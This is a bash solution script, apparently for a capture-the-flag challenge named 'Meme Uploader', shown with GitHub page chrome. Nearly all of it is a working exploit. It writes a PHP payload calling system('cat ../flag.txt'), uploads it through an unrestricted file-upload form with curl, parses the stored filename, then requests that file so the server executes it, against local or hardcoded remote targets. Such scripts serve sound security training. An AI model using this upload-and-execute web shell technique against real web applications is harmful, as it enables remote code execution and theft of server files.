-
Notifications
You must be signed in to change notification settings - Fork 20
Expand file tree
/
Copy pathsolution.sh
More file actions
43 lines (33 loc) · 1.08 KB
/
solution.sh
File metadata and controls
43 lines (33 loc) · 1.08 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
#!/bin/bash
PORT=8003
if [[ $1 == "local" ]]
then
URL='http://127.0.0.1:'$PORT
elif [[ $1 == "remote" ]] && [[ -z $2 ]]
then
URL='http://141.85.224.105:'$PORT
elif [[ $# -ne 2 ]]
then
echo "Usage:"
echo $0" {local,remote}"
echo "or"
echo $0" <ip> <port>"
exit 1
else
URL=$1':'$2
fi
# Meme Uploader
echo "Starting exploit for Meme Uploader..."
echo "Will use a random filename to avoid conflicts with existing filenames on the server..."
FILENAME="6HSisrykyD0846rdg.php"
echo "Writing the payload content to $FILENAME on disk..."
echo '<?php echo system("cat ../flag.txt"); ?>' > $FILENAME
echo "Uploading it on the server..."
OUTPUT=$(curl -s -F "fileToUpload=@${FILENAME}" -F 'submit=Upload meme' $URL)
echo "Extracting the new filename (hashed)..."
NEW_FILENAME=$(echo $OUTPUT | sed 's/.*Your file \([^ ]*\).*/\1/')
echo "Deleting locally generated file..."
rm "$FILENAME"
echo "Accessing the file on the server..."
echo "Flag is:"
curl "$URL"'/uploads/'"$NEW_FILENAME" || echo "Could not get flag. Most probably upload failed (a filename with the same name exists"